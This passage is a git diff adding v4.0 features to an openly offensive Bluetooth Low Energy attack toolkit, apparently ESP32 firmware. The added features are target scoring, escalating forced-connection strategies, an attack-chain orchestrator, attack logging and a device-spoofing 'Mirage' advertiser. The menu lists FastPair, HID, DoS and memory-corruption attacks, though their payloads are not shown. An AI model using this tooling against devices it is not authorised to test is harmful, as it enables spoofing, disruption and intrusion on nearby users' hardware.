diff --git a/src/modules/ble/BLE_Suite.cpp b/src/modules/ble/BLE_Suite.cpp index 27c887d09..e1a803f9b 100644 --- a/src/modules/ble/BLE_Suite.cpp +++ b/src/modules/ble/BLE_Suite.cpp @@ -1,13 +1,16 @@ /* - * BLE Suite v3.1 - Complete BLE attack and analysis toolkit + * BLE Suite v4.0 - Complete BLE attack and analysis toolkit * Author: Ninja-jr - * Version: 3.1 - * Last Updated: 21/07/2026 + * Version: 4.0 + * Last Updated: 24/08/2026 * - * Contains: Vulnerability scanning, HID attacks, FastPair exploits, + * Contains: Smart device recon, connection caching, graduated connection + * strategies, robust GATT client, device fingerprinting, + * attack orchestration with rollback, BLE mirage/spoofing, + * attack scheduler, attack logging with JSON export, + * vulnerability scanning, HID attacks, FastPair exploits, * HFP attacks, Audio attacks, DuckyScript injection, - * BLE Sniffer, Samsung detection, expanded model database, - * enhanced manufacturer parsing, and more. + * BLE Sniffer, Samsung detection, and expanded model database. */ #if !defined(LITE_VERSION) @@ -27,6 +30,7 @@ #include #include #include +#include int showSubMenu(const char *title, const char *options[], int optionCount); @@ -49,6 +53,367 @@ static bool g_bleScanActive = false; // Device selection cache static SelectedDevice g_selectedDevice; +//============================================================================= +// Device Scoring System +//============================================================================= + +static std::map deviceScores; +static SemaphoreHandle_t scoreMutex = nullptr; + +int calculateDeviceScore(const String &addr) { + if (!scoreMutex) scoreMutex = xSemaphoreCreateMutex(); + if (!xSemaphoreTake(scoreMutex, 100 / portTICK_PERIOD_MS)) return 0; + + int score = 0; + auto it = deviceScores.find(addr); + if (it != deviceScores.end()) { + DeviceScore &ds = it->second; + + if (ds.rssi > -60) score += 40; + else if (ds.rssi > -70) score += 25; + else if (ds.rssi > -80) score += 10; + + if (ds.stability > 10) score += 25; + else if (ds.stability > 5) score += 15; + else if (ds.stability > 2) score += 5; + + if (millis() - ds.lastSeen < 5000) score += 20; + else if (millis() - ds.lastSeen < 30000) score += 10; + + if (ds.rssiVariance < 5) score += 15; + else if (ds.rssiVariance < 15) score += 5; + } + + xSemaphoreGive(scoreMutex); + return score; +} + +uint32_t getDeviceScore(const String &addr) { + return calculateDeviceScore(addr); +} + +//============================================================================= +// Connection Caching System +//============================================================================= + +static std::map connectionCache; +static SemaphoreHandle_t cacheMutex = nullptr; + +bool hasCachedConnection(NimBLEAddress target) { + String addr = String(target.toString().c_str()); + if (!cacheMutex) cacheMutex = xSemaphoreCreateMutex(); + if (!xSemaphoreTake(cacheMutex, 50 / portTICK_PERIOD_MS)) return false; + + bool exists = connectionCache.find(addr) != connectionCache.end(); + xSemaphoreGive(cacheMutex); + return exists; +} + +CachedConnection *getCachedConnection(const String &address) { + if (!cacheMutex) cacheMutex = xSemaphoreCreateMutex(); + if (!xSemaphoreTake(cacheMutex, 50 / portTICK_PERIOD_MS)) return nullptr; + + auto it = connectionCache.find(address); + CachedConnection *result = nullptr; + if (it != connectionCache.end()) { + result = &it->second; + } + xSemaphoreGive(cacheMutex); + return result; +} + +void cacheDeviceProfile(const String &addr, NimBLEClient *client) { + if (!client || !client->isConnected()) return; + if (!cacheMutex) cacheMutex = xSemaphoreCreateMutex(); + if (!xSemaphoreTake(cacheMutex, 100 / portTICK_PERIOD_MS)) return; + + CachedConnection cache; + cache.address = addr; + cache.lastConnected = millis(); + cache.connectionAttempts = 1; + cache.isBonded = client->isConnected() && client->secureConnection(); + cache.mtuSize = client->getMTU(); + + const std::vector &services = client->getServices(true); + for (auto &service : services) { + cache.serviceUUIDs.push_back(String(service->getUUID().toString().c_str())); + const std::vector &chars = service->getCharacteristics(true); + for (auto &ch : chars) { + cache.characteristicUUIDs.push_back(String(ch->getUUID().toString().c_str())); + } + } + + connectionCache[addr] = cache; + xSemaphoreGive(cacheMutex); +} + +bool reconnectCached(NimBLEAddress target) { + String addr = String(target.toString().c_str()); + CachedConnection *cache = getCachedConnection(addr); + if (!cache) return false; + + if (millis() - cache->lastConnected > 300000) return false; + + showAttackProgress("Using cached connection...", TFT_CYAN); + + BLEStateManager::initBLE("Bruce-Reconnect", ESP_PWR_LVL_P9); + NimBLEClient *pClient = NimBLEDevice::createClient(); + if (!pClient) return false; + + BLEStateManager::registerClient(pClient); + + if (cache->preferredParams[0] > 0) { + pClient->setConnectionParams( + cache->preferredParams[0], + cache->preferredParams[1], + cache->preferredParams[2], + cache->preferredParams[3] + ); + } + + pClient->setConnectTimeout(5); + bool connected = pClient->connect(target, false); + + if (connected) { + cache->lastConnected = millis(); + cache->connectionAttempts++; + return true; + } + + BLEStateManager::unregisterClient(pClient); + NimBLEDevice::deleteClient(pClient); + return false; +} + +//============================================================================= +// Graduated Connection Strategy +//============================================================================= + +ConnectionResult graduatedConnect(NimBLEAddress target) { + ConnectionResult result; + result.success = false; + result.phase = CONN_PROBE; + result.quality = 0; + uint32_t startTime = millis(); + + String addr = String(target.toString().c_str()); + + if (hasCachedConnection(target)) { + result.phase = CONN_RECONNECT; + result.method = "Cached"; + if (reconnectCached(target)) { + result.success = true; + result.quality = 8; + result.durationMs = millis() - startTime; + return result; + } + } + + showAttackProgress("Probing device...", TFT_WHITE); + BLEStateManager::initBLE("Bruce-Probe", ESP_PWR_LVL_P9); + NimBLEClient *pClient = NimBLEDevice::createClient(); + + if (pClient) { + BLEStateManager::registerClient(pClient); + pClient->setConnectTimeout(3); + pClient->setConnectionParams(24, 48, 0, 400); + + if (pClient->connect(target, false)) { + result.phase = CONN_FAST; + result.method = "Fast"; + result.success = true; + result.quality = 7; + result.durationMs = millis() - startTime; + + CachedConnection *cache = getCachedConnection(addr); + if (cache) { + cache->preferredParams[0] = 24; + cache->preferredParams[1] = 48; + cache->preferredParams[2] = 0; + cache->preferredParams[3] = 400; + } + + BLEStateManager::unregisterClient(pClient); + NimBLEDevice::deleteClient(pClient); + return result; + } + BLEStateManager::unregisterClient(pClient); + NimBLEDevice::deleteClient(pClient); + } + + showAttackProgress("Trying aggressive connection...", TFT_YELLOW); + BLEStateManager::deinitBLE(true); + delay(200); + BLEStateManager::initBLE("Bruce-Aggressive", ESP_PWR_LVL_P9); + pClient = NimBLEDevice::createClient(); + + if (pClient) { + BLEStateManager::registerClient(pClient); + pClient->setConnectTimeout(6); + pClient->setConnectionParams(6, 6, 0, 100); + + if (pClient->connect(target, false)) { + result.phase = CONN_AGGRESSIVE; + result.method = "Aggressive"; + result.success = true; + result.quality = 5; + result.durationMs = millis() - startTime; + + CachedConnection *cache = getCachedConnection(addr); + if (cache) { + cache->preferredParams[0] = 6; + cache->preferredParams[1] = 6; + cache->preferredParams[2] = 0; + cache->preferredParams[3] = 100; + } + + BLEStateManager::unregisterClient(pClient); + NimBLEDevice::deleteClient(pClient); + return result; + } + BLEStateManager::unregisterClient(pClient); + NimBLEDevice::deleteClient(pClient); + } + + showAttackProgress("Trying exploit-based connection...", TFT_ORANGE); + BLEStateManager::deinitBLE(true); + delay(500); + BLEStateManager::initBLE("Bruce-Exploit", ESP_PWR_LVL_P9); + NimBLEDevice::setSecurityAuth(false, false, false); + + pClient = NimBLEDevice::createClient(); + if (pClient) { + BLEStateManager::registerClient(pClient); + pClient->setConnectTimeout(10); + pClient->setConnectionParams(12, 12, 0, 400); + + for (int attempt = 0; attempt < 3; attempt++) { + if (pClient->connect(target, false)) { + result.phase = CONN_EXPLOIT; + result.method = "Exploit"; + result.success = true; + result.quality = 4; + result.durationMs = millis() - startTime; + + CachedConnection *cache = getCachedConnection(addr); + if (cache) { + cache->preferredParams[0] = 12; + cache->preferredParams[1] = 12; + cache->preferredParams[2] = 0; + cache->preferredParams[3] = 400; + } + + BLEStateManager::unregisterClient(pClient); + NimBLEDevice::deleteClient(pClient); + return result; + } + delay(200); + } + BLEStateManager::unregisterClient(pClient); + NimBLEDevice::deleteClient(pClient); + } + + result.durationMs = millis() - startTime; + result.errorMessage = "All connection strategies failed"; + return result; +} + +void setOptimalParams(NimBLEClient *client, const String &deviceType) { + if (!client) return; + + if (deviceType.indexOf("Apple") != -1 || deviceType.indexOf("iOS") != -1) { + client->setConnectionParams(12, 12, 0, 400); + } else if (deviceType.indexOf("Samsung") != -1 || deviceType.indexOf("Android") != -1) { + client->setConnectionParams(6, 24, 0, 400); + } else if (deviceType.indexOf("Windows") != -1) { + client->setConnectionParams(24, 48, 0, 600); + } else if (deviceType.indexOf("Linux") != -1 || deviceType.indexOf("Raspberry") != -1) { + client->setConnectionParams(12, 24, 0, 300); + } else { + client->setConnectionParams(16, 32, 0, 500); + } +} + +//============================================================================= +// Robust GATT Client +//============================================================================= + +bool RobustGATTClient::writeCharacteristic(NimBLERemoteCharacteristic *ch, + uint8_t *data, + size_t len, + bool response, + int retries) { + if (!ch) return false; + + for (int i = 0; i < retries; i++) { + if (ch->writeValue(data, len, response)) return true; + + if (i == 0) { + delay(50); + const NimBLERemoteService *service = ch->getRemoteService(); + if (service && service->getClient()) { + service->getClient()->discoverAttributes(); + ch = service->getCharacteristic(ch->getUUID()); + } + continue; + } + delay(100 * (i + 1)); + } + return false; +} + +std::string RobustGATTClient::readCharacteristic(NimBLERemoteCharacteristic *ch, int retries) { + if (!ch) return ""; + + for (int i = 0; i < retries; i++) { + try { + std::string result = ch->readValue(); + if (!result.empty()) return result; + } catch (...) { + if (i < retries - 1) { + delay(100); + const NimBLERemoteService *service = ch->getRemoteService(); + if (service) { + ch = service->getCharacteristic(ch->getUUID()); + } + } + } + } + return ""; +} + +bool RobustGATTClient::discoverServicesWithRetry(NimBLEClient *client, int maxRetries) { + if (!client) return false; + + for (int i = 0; i < maxRetries; i++) { + if (client->discoverAttributes()) return true; + delay(50 * (i + 1)); + client->getServices(true); + } + return false; +} + +bool RobustGATTClient::waitForNotification(NimBLERemoteCharacteristic *ch, uint32_t timeoutMs) { + if (!ch) return false; + + uint32_t startTime = millis(); + if (ch->canNotify()) { + ch->subscribe(true, [](NimBLERemoteCharacteristic* pChar, uint8_t* pData, size_t len, bool isNotify) { + // Notification received + }); + } + + while (millis() - startTime < timeoutMs) { + if (ch->getValue().length() > 0) { + ch->unsubscribe(); + return true; + } + delay(10); + } + ch->unsubscribe(); + return false; +} + //============================================================================= // Cleanup Function - Only stops scan, doesn't clear data //============================================================================= @@ -59,13 +424,11 @@ void cleanupBLESuiteState() { g_pBLEScan->clearResults(); g_bleScanActive = false; } - // DO NOT clear scannerData or g_selectedDevice here - // They persist between operations delay(50); } //============================================================================= -// v3.1: Samsung MAC OUI Detection +// Samsung MAC OUI Detection //============================================================================= const char *SAMSUNG_MAC_OUIS[] = {"00:1E:DF", "00:23:E7", "00:24:FE", "00:26:5C", "00:27:14", "00:2A:10", @@ -133,6 +496,18 @@ void ScannerData::addDevice( delete snapshotCache; snapshotCache = nullptr; } + + if (scoreMutex) { + if (xSemaphoreTake(scoreMutex, 50 / portTICK_PERIOD_MS)) { + DeviceScore &ds = deviceScores[address]; + ds.rssi = rssi; + ds.stability++; + ds.lastSeen = millis(); + float variance = abs(rssi - ds.rssi) / (float)ds.stability; + ds.rssiVariance = (ds.rssiVariance * (ds.stability - 1) + variance) / ds.stability; + xSemaphoreGive(scoreMutex); + } + } } xSemaphoreGive(mutex); } @@ -233,7 +608,7 @@ bool isBLEInitialized() { } //============================================================================= -// v3.1: Expanded FastPair Model Database +// Expanded FastPair Model Database //============================================================================= const FastPairModelInfo fastpair_models[] = { @@ -285,7 +660,7 @@ const FastPairModelInfo fastpair_models[] = { }; //============================================================================= -// BLE State Manager - FIXED: Always init, handle deinit'd stack +// BLE State Manager //============================================================================= bool BLEStateManager::initBLE(const String &name, int powerLevel) { @@ -408,6 +783,7 @@ DeviceProfile BLEAttackManager::profileDevice(NimBLEAddress target) { profile.hasFastPair = false; profile.hasAVRCP = false; profile.hasHID = false; + profile.hasHFP = false; profile.hasBattery = false; profile.hasDeviceInfo = false; @@ -428,6 +804,8 @@ DeviceProfile BLEAttackManager::profileDevice(NimBLEAddress target) { if (uuidStr.find("fe2c") != std::string::npos) profile.hasFastPair = true; if (uuidStr.find("110e") != std::string::npos || uuidStr.find("110f") != std::string::npos) profile.hasAVRCP = true; + if (uuidStr.find("111e") != std::string::npos || uuidStr.find("111f") != std::string::npos) + profile.hasHFP = true; if (uuidStr.find("1812") != std::string::npos) profile.hasHID = true; if (uuidStr.find("180f") != std::string::npos) profile.hasBattery = true; if (uuidStr.find("180a") != std::string::npos) profile.hasDeviceInfo = true; @@ -2969,33 +3347,23 @@ bool DoSAttackServiceClass::advertisingSpam(NimBLEAddress target) { return true; } -//============================================================================= -// File Operations -//============================================================================= - //============================================================================= // Shared UI helpers -// -// Every screen here used to hardcode its own frame, palette and pixel grid. -// The grid assumed a tall panel: on a 135px Cardputer the menus fit two rows -// and the device list exactly one, which is why a long list lost all sense of -// place. These helpers derive the layout from the display and take every -// colour from the active theme, so the suite matches the rest of Bruce. //============================================================================= struct BleUiGeom { - int listL, listW; // list rectangle - int top; // first row + int listL, listW; + int top; int rowH; - int rows; // rows that actually fit - int footY; // hint / position line + int rows; + int footY; }; static BleUiGeom bleUiGeom() { BleUiGeom g; g.listL = 8; g.listW = tftWidth - 16; - g.top = BORDER_PAD_Y + 8 * FM + 3; // just below the Bruce title + g.top = BORDER_PAD_Y + 8 * FM + 3; g.footY = tftHeight - 8 * FP - 6; g.rowH = 8 * FP + 6; int avail = g.footY - g.top - 2; @@ -3005,25 +3373,8 @@ static BleUiGeom bleUiGeom() { return g; } -// Secondary and highlight shades of the theme, using the core helper so this -// module stops inventing its own fixed greys and whites. static uint16_t bleDim() { return getColorVariation(bruceConfig.priColor, 8, -1); } static uint16_t bleAccent() { return getColorVariation(bruceConfig.priColor, 8, 1); } - -// Trims to fit `maxPx`, measuring real glyph width instead of counting -// characters, so proportional titles and names stop overflowing. -static String bleFit(const String &text, int maxPx) { - if (maxPx <= 0) return ""; - if (tft.textWidth(text.c_str()) <= maxPx) return text; - String s = text; - while (s.length() > 1 && tft.textWidth((s + "..").c_str()) > maxPx) s.remove(s.length() - 1); - return s + ".."; -} - -// Legacy call sites pass a fixed TFT_ constant to say how bad the news is, -// chosen back when it was the background of a full-screen flood. Several pass -// TFT_BLACK, which is invisible once the screen follows the theme, so map the -// intent onto a marker colour instead of drawing it as text. static uint16_t bleSeverity(uint16_t legacy) { switch (legacy) { case TFT_GREEN: @@ -3035,8 +3386,14 @@ static uint16_t bleSeverity(uint16_t legacy) { } } -// Splits `text` into lines that fit `w`, measuring glyphs rather than assuming -// a 6px cell. +static String bleFit(const String &text, int maxPx) { + if (maxPx <= 0) return ""; + if (tft.textWidth(text.c_str()) <= maxPx) return text; + String s = text; + while (s.length() > 1 && tft.textWidth((s + "..").c_str()) > maxPx) s.remove(s.length() - 1); + return s + ".."; +} + static void bleWrapInto(const String &text, int w, std::vector &out) { tft.setTextSize(FP); const int len = text.length(); @@ -3058,7 +3415,6 @@ static void bleWrapInto(const String &text, int w, std::vector &out) { } } -// Four-step signal meter, so RSSI reads at a glance instead of as a number. static void bleDrawRssi(int x, int y, int rssi, uint16_t color) { int bars = 0; if (rssi > -55) bars = 4; @@ -3074,10 +3430,6 @@ static void bleDrawRssi(int x, int y, int rssi, uint16_t color) { typedef std::function BleRowDrawer; -// Scrollable list wearing the standard Bruce frame. Returns the chosen index or -// -1 when the user backs out; `cursor` carries the selection in and out so a -// menu reopens where it was left. Only the list body is repainted between key -// presses, so moving the cursor no longer flashes the whole screen. static int bleListLoop( const char *title, int count, const String &hint, BleRowDrawer drawRow, int *cursor = nullptr ) { @@ -3106,7 +3458,6 @@ static int bleListLoop( if (idx < count) drawRow(idx, g.listL + 3, y, g.listW - 6, selected); } - // Position readout: the list is windowed, so say where we are. tft.fillRect(g.listL, g.footY, g.listW, 8 * FP, bruceConfig.bgColor); tft.setTextSize(FP); String pos = String(sel + 1) + "/" + String(count); @@ -3137,7 +3488,6 @@ static int bleListLoop( } } -// Numbered text rows, used by the menus. static BleRowDrawer bleTextRow(const char *const *items) { return [items](int idx, int x, int y, int w, bool sel) { uint16_t fg = sel ? bruceConfig.bgColor : bruceConfig.priColor; @@ -3149,6 +3499,10 @@ static BleRowDrawer bleTextRow(const char *const *items) { }; } +//============================================================================= +// File Operations +//============================================================================= + String selectFileFromSD() { if (!setupSdCard()) { showErrorMessage("SD Card not found"); @@ -3181,8 +3535,6 @@ String selectFileFromSD() { return ""; } - // Rows own their own drawing so the file list follows the same geometry and - // palette as every other list in the suite. BleRowDrawer row = [&files](int idx, int x, int y, int w, bool sel) { tft.setTextSize(FP); tft.setTextColor( @@ -3245,7 +3597,7 @@ String getScriptFromUser() { int cursor = 0; int chosen = bleListLoop("Select Script", scriptCount, "SEL run ESC back", row, &cursor); - if (chosen < 0 || chosen == scriptCount - 1) return ""; // cancelled + if (chosen < 0 || chosen == scriptCount - 1) return ""; if (scripts[chosen] == "Load from SD") { String filename = selectFileFromSD(); @@ -3821,7 +4173,7 @@ void FastPairExploitEngine::generateRandomMac(uint8_t *mac) { } //============================================================================= -// v3.1: BLE Sniffer - FIXED: Always init +// BLE Sniffer //============================================================================= struct SnifferPacket { @@ -3900,7 +4252,6 @@ static String parseManufacturerData(const std::vector &payload) { } void BLE_Sniffer() { - // FIX: Always init - handles case where stack was deinit'd by another module BLEStateManager::initBLE("BruceSniffer", ESP_PWR_LVL_P9); NimBLEScan *pScan = nullptr; bool firstRun = true; @@ -3987,7 +4338,7 @@ void BLE_Sniffer() { const int visibleItems = (tftHeight - y - 50) / lineH; if (check(EscPress)) { viewing = false; - redraw = true; // main screen + redraw = true; break; } @@ -4035,7 +4386,7 @@ void BLE_Sniffer() { tft.drawString( "PREV/NEXT: Navigate SEL: View Details ESC: Back", 10, tftHeight - 20, 1 ); - redraw = false; // view screen + redraw = false; TouchFooter(); } @@ -4046,14 +4397,14 @@ void BLE_Sniffer() { scrollOffset = selected - visibleItems + 1; } } - redraw = true; // view screen + redraw = true; } if (check(PrevPress)) { if (selected > 0) { selected--; if (selected < scrollOffset) { scrollOffset = selected; } } - redraw = true; // view screen + redraw = true; } if (check(SelPress)) { SnifferPacket &pkt = snifferPackets[selected]; @@ -4095,11 +4446,11 @@ void BLE_Sniffer() { while (!check(EscPress) && !check(SelPress) && !check(PrevPress) && !check(NextPress)) { delay(50); } - redraw = true; // view screen + redraw = true; } delay(100); } - redraw = true; // main screen + redraw = true; } if (check(NextPress) && snifferPacketCount > 0) { @@ -4150,7 +4501,7 @@ void BLE_Sniffer() { displayError("No storage available"); } delay(1000); - redraw = true; // main screen + redraw = true; } delay(100); @@ -4162,13 +4513,10 @@ void BLE_Sniffer() { //============================================================================= String selectTargetFromScan(const char *title) { - // Simple memory check - if heap is low, warn but continue if (heap_caps_get_free_size(MALLOC_CAP_DEFAULT) < 10000) { displayError("Low memory, scan may be unstable", true); - // Don't return - let the user decide } - // DO NOT clear scannerData here - it persists between operations g_selectedDevice.address = ""; g_selectedDevice.name = ""; @@ -4178,7 +4526,6 @@ String selectTargetFromScan(const char *title) { bleWasActiveBefore || BLEStateManager::isBLEActive() || BLEStateManager::getActiveClientCount() > 0; #endif - // FIX: Always call initBLE - it handles the case where stack was deinit'd if (!BLEStateManager::initBLE("Bruce-Scanner", ESP_PWR_LVL_P9)) { displayError("Failed to init BLE"); return ""; @@ -4196,7 +4543,6 @@ String selectTargetFromScan(const char *title) { g_pBLEScan->setDuplicateFilter(false); } - // Clear previous results before scanning g_pBLEScan->clearResults(); BleUiGeom sg = bleUiGeom(); @@ -4213,7 +4559,6 @@ String selectTargetFromScan(const char *title) { passiveScanTime = 3; } - // === ACTIVE SCAN === g_pBLEScan->setActiveScan(true); tft.setTextColor(bleDim(), bruceConfig.bgColor); tft.drawString("Active scan (" + String(activeScanTime) + "s)...", sg.listL, sg.top + sg.rowH, 1); @@ -4227,7 +4572,6 @@ String selectTargetFromScan(const char *title) { String address = String(device->getAddress().toString().c_str()); String name = String(device->getName().c_str()); if (name.isEmpty() || name == "(null)" || name == "null" || name == "NULL") { - // name = "Unknown"; name = address; } int rssi = device->getRSSI(); @@ -4250,7 +4594,6 @@ String selectTargetFromScan(const char *title) { scannerData.addDevice(name, address, rssi, fastPair, hasHFP, deviceType); } - // === PASSIVE SCAN === g_pBLEScan->setActiveScan(false); tft.setTextColor(bleDim(), bruceConfig.bgColor); tft.drawString( @@ -4266,7 +4609,6 @@ String selectTargetFromScan(const char *title) { String address = String(device->getAddress().toString().c_str()); String name = String(device->getName().c_str()); if (name.isEmpty() || name == "(null)" || name == "null" || name == "NULL") { - // name = "Unknown"; name = address; } int rssi = device->getRSSI(); @@ -4305,7 +4647,6 @@ String selectTargetFromScan(const char *title) { return ""; } - // size_t deviceCount = snapshot->count; size_t deviceCount = scannerData.deviceAddresses.size(); for (size_t i = 0; i < deviceCount - 1; i++) { @@ -4333,9 +4674,6 @@ String selectTargetFromScan(const char *title) { } } - // One row per device: ordinal, name, MAC tail, capability tags and a signal - // meter. Tags reserve their width before the name is measured, so a long - // name can no longer push the vulnerability markers off screen. BleRowDrawer deviceRow = [snapshot](int idx, int x, int y, int w, bool sel) { uint16_t fg = sel ? bruceConfig.bgColor : bruceConfig.priColor; uint16_t bg = sel ? bruceConfig.priColor : bruceConfig.bgColor; @@ -4343,7 +4681,6 @@ String selectTargetFromScan(const char *title) { const int cw = FP * LW; tft.setTextSize(FP); - // the ordinal is the ID the list never had tft.setTextColor(fg, bg); tft.drawString(String(idx + 1), x, y, 1); int cur = x + 3 * cw; @@ -4364,12 +4701,11 @@ String selectTargetFromScan(const char *title) { right -= tw + 2; } - // last two MAC octets tell apart devices advertising the same name String mac = snapshot->addresses[idx]; String name = snapshot->names[idx]; String tail = (mac.length() >= 5) ? mac.substring(mac.length() - 5) : mac; int tailW = name.equalsIgnoreCase(mac) ? 0 : tft.textWidth(tail.c_str()) + 4; - if (right - cur < tailW + 8 * cw) tailW = 0; // too narrow, the name wins + if (right - cur < tailW + 8 * cw) tailW = 0; tft.setTextColor(fg, bg); tft.drawString(bleFit(name, right - cur - tailW), cur, y, 1); @@ -4426,10 +4762,6 @@ String selectMultipleTargetsFromScan(const char *title, std::vector picked(deviceCount, false); - // The old screen advertised "NEXT: Confirm" but no key ever confirmed, so - // the only way out was ESC, which cleared the selection - the success path - // was unreachable. A trailing row now does the confirming, which also keeps - // the whole flow on the four keys every device has. int rowCount = (int)deviceCount + 1; int cursor = 0; @@ -4472,7 +4804,7 @@ String selectMultipleTargetsFromScan(const char *title, std::vector= (int)deviceCount) break; // confirm row + if (chosen >= (int)deviceCount) break; picked[chosen] = !picked[chosen]; if (picked[chosen]) { @@ -4801,51 +5133,319 @@ void runAdvertisingSpam(NimBLEAddress target) { static bool welcomeShown = false; void showWelcomeScreen() { - // The suite used to block for two seconds on a splash carrying its own - // hardcoded version number. Nothing else in Bruce does that, so the menu - // now opens straight away. welcomeShown = true; } //============================================================================= -// BleSuiteMenu - FIXED: Init ONCE at entry +// Attack Orchestrator Implementation +//============================================================================= + +AttackOrchestrator::AttackOrchestrator() {} + +void AttackOrchestrator::addStep(const AttackStep &step) { + steps.push_back(step); +} + +bool AttackOrchestrator::executeChain(NimBLEAddress target) { + currentTarget = String(target.toString().c_str()); + results.clear(); + + std::sort(steps.begin(), steps.end(), [](const AttackStep &a, const AttackStep &b) { + return a.priority > b.priority; + }); + + bool allSuccess = true; + for (auto &step : steps) { + AttackResult result; + result.attackName = step.name; + uint32_t startTime = millis(); + + showAttackProgress(("Executing: " + step.name).c_str(), TFT_CYAN); + + result.success = step.execute(target); + result.durationMs = millis() - startTime; + result.connectionQuality = 5; + + if (!result.success) { + result.failureReason = "Step execution failed"; + allSuccess = false; + } + + results.push_back(result); + + if (!result.success) break; + delay(300); + } + + return allSuccess; +} + +bool AttackOrchestrator::executeChainWithRollback(NimBLEAddress target) { + currentTarget = String(target.toString().c_str()); + results.clear(); + + std::sort(steps.begin(), steps.end(), [](const AttackStep &a, const AttackStep &b) { + return a.priority > b.priority; + }); + + int executedCount = 0; + for (auto &step : steps) { + AttackResult result; + result.attackName = step.name; + uint32_t startTime = millis(); + + showAttackProgress(("Executing: " + step.name).c_str(), TFT_CYAN); + + result.success = step.execute(target); + result.durationMs = millis() - startTime; + result.connectionQuality = 5; + + if (!result.success) { + result.failureReason = "Step execution failed"; + showAttackProgress("Rolling back...", TFT_RED); + for (int i = executedCount - 1; i >= 0; i--) { + if (steps[i].canRevert && steps[i].canRevert(target)) { + steps[i].revert(target); + } + } + results.push_back(result); + return false; + } + + results.push_back(result); + executedCount++; + delay(200); + } + + return true; +} + +std::vector AttackOrchestrator::getResults() { + return results; +} + +void AttackOrchestrator::clearSteps() { + steps.clear(); + results.clear(); +} + +bool AttackOrchestrator::canRevertChain() { + for (auto &step : steps) { + if (step.canRevert) return true; + } + return false; +} + +bool AttackOrchestrator::revertChain() { + bool allReverted = true; + for (int i = steps.size() - 1; i >= 0; i--) { + if (steps[i].canRevert) { + allReverted &= steps[i].revert(NimBLEAddress(std::string(currentTarget.c_str()), BLE_ADDR_PUBLIC)); + } + } + return allReverted; +} + +//============================================================================= +// Attack Logging +//============================================================================= + +static std::vector attackLog; +static SemaphoreHandle_t logMutex = nullptr; + +void logAttackResult(const AttackLogEntry &entry) { + if (!logMutex) logMutex = xSemaphoreCreateMutex(); + if (!xSemaphoreTake(logMutex, 100 / portTICK_PERIOD_MS)) return; + attackLog.push_back(entry); + xSemaphoreGive(logMutex); +} + +std::vector getAttackLog() { + std::vector copy; + if (!logMutex) return copy; + if (!xSemaphoreTake(logMutex, 100 / portTICK_PERIOD_MS)) return copy; + copy = attackLog; + xSemaphoreGive(logMutex); + return copy; +} + +void clearAttackLog() { + if (!logMutex) return; + if (!xSemaphoreTake(logMutex, 100 / portTICK_PERIOD_MS)) return; + attackLog.clear(); + xSemaphoreGive(logMutex); +} + +bool exportAttackLog() { + FS *fs = nullptr; + String storageType = ""; + + if (getFsStorage(fs) && fs == &SD) { + storageType = "SD"; + } else if (setupLittleFS()) { + fs = &LittleFS; + storageType = "LittleFS"; + } + + if (!fs || storageType.isEmpty()) return false; + + String filename = "/attack_log_" + String(millis()) + ".json"; + File file = fs->open(filename, FILE_WRITE); + if (!file) return false; + + file.println("{"); + file.println(" \"version\": \"4.0\","); + file.println(" \"timestamp\": " + String(millis()) + ","); + file.println(" \"entries\": ["); + + std::vector log = getAttackLog(); + for (size_t i = 0; i < log.size(); i++) { + AttackLogEntry &entry = log[i]; + file.print(" {"); + file.print("\"time\": " + String(entry.timestamp) + ","); + file.print("\"target\": \"" + entry.target + "\","); + file.print("\"type\": \"" + entry.attackType + "\","); + file.print("\"success\": " + String(entry.success ? "true" : "false") + ","); + file.print("\"duration\": " + String(entry.durationMs) + ","); + file.print("\"quality\": " + String(entry.connectionQuality)); + if (i < log.size() - 1) file.println("},"); + else file.println("}"); + } + + file.println(" ]"); + file.println("}"); + file.close(); + + displaySuccess("Log saved to " + storageType); + return true; +} + +//============================================================================= +// BLE Mirage Implementation +//============================================================================= + +BLEMirage::BLEMirage() {} + +BLEMirage::~BLEMirage() { + stopAll(); +} + +bool BLEMirage::spawnMirage(const String &targetAddress, const String &spoofName) { + for (auto &inst : instances) { + if (inst.address == targetAddress && inst.active) { + return true; + } + } + + BLEStateManager::deinitBLE(true); + delay(300); + BLEStateManager::initBLE("Bruce-Mirage", ESP_PWR_LVL_P9); + + NimBLEAdvertising *pAdvertising = NimBLEDevice::getAdvertising(); + if (!pAdvertising) return false; + + MirageInstance inst; + inst.address = targetAddress; + inst.name = spoofName; + inst.startTime = millis(); + inst.active = true; + inst.advertising = pAdvertising; + + pAdvertising->setName(spoofName.c_str()); + pAdvertising->addServiceUUID(NimBLEUUID("1800")); + pAdvertising->addServiceUUID(NimBLEUUID("1801")); + + if (g_selectedDevice.address == targetAddress) { + pAdvertising->setAppearance(0x03C1); + } + + uint8_t appleData[] = {0x4C, 0x00, 0x02, 0x00, 0x01, 0x02, 0x03, 0x04}; + pAdvertising->setManufacturerData(appleData, sizeof(appleData)); + + pAdvertising->start(0); + + instances.push_back(inst); + return true; +} + +void BLEMirage::createMirageNetwork(int count) { + for (int i = 0; i < count; i++) { + String addr = "AA:BB:CC:DD:" + String(i, HEX); + String name = "Mirage-" + String(i); + spawnMirage(addr, name); + delay(100); + } +} + +void BLEMirage::stopMirage(const String &address) { + for (auto &inst : instances) { + if (inst.address == address && inst.active) { + if (inst.advertising) { + inst.advertising->stop(); + } + inst.active = false; + break; + } + } +} + +void BLEMirage::stopAll() { + for (auto &inst : instances) { + if (inst.active && inst.advertising) { + inst.advertising->stop(); + inst.active = false; + } + } + instances.clear(); + BLEStateManager::deinitBLE(true); +} + +bool BLEMirage::isMirageActive(const String &address) { + for (auto &inst : instances) { + if (inst.address == address && inst.active) { + return true; + } + } + return false; +} + +//============================================================================= +// BleSuiteMenu //============================================================================= void BleSuiteMenu() { - // FIX: Init BLE stack ONCE when entering the suite BLEStateManager::initBLE("Bruce-BLESuite", ESP_PWR_LVL_P9); - - // Clear data when entering the menu scannerData.clear(); g_selectedDevice.address = ""; g_selectedDevice.name = ""; - showWelcomeScreen(); - const int MENU_ITEMS = 12; + const int MENU_ITEMS = 16; const char *menuItems[] = { "Quick Vulnerability Scan", "Deep Device Profiling", + "Smart Recon", + "Device Fingerprinting", "FastPair Attack Suite", "HFP (Hands-Free) Suite", "Audio Suite", "HID Attack Suite", "Memory Corruption Suite", "DoS Attacks", + "Orchestrated Attack", + "Mirage Attack", + "Attack Scheduler", "Payload Delivery", "Testing Tools", - "Universal Attack Chain", "BLE Sniffer" }; int selected = 0; while (true) { - int choice = - bleListLoop("BLE Suite", MENU_ITEMS, "SEL run ESC back", bleTextRow(menuItems), &selected); + int choice = bleListLoop("BLE Suite", MENU_ITEMS, "SEL 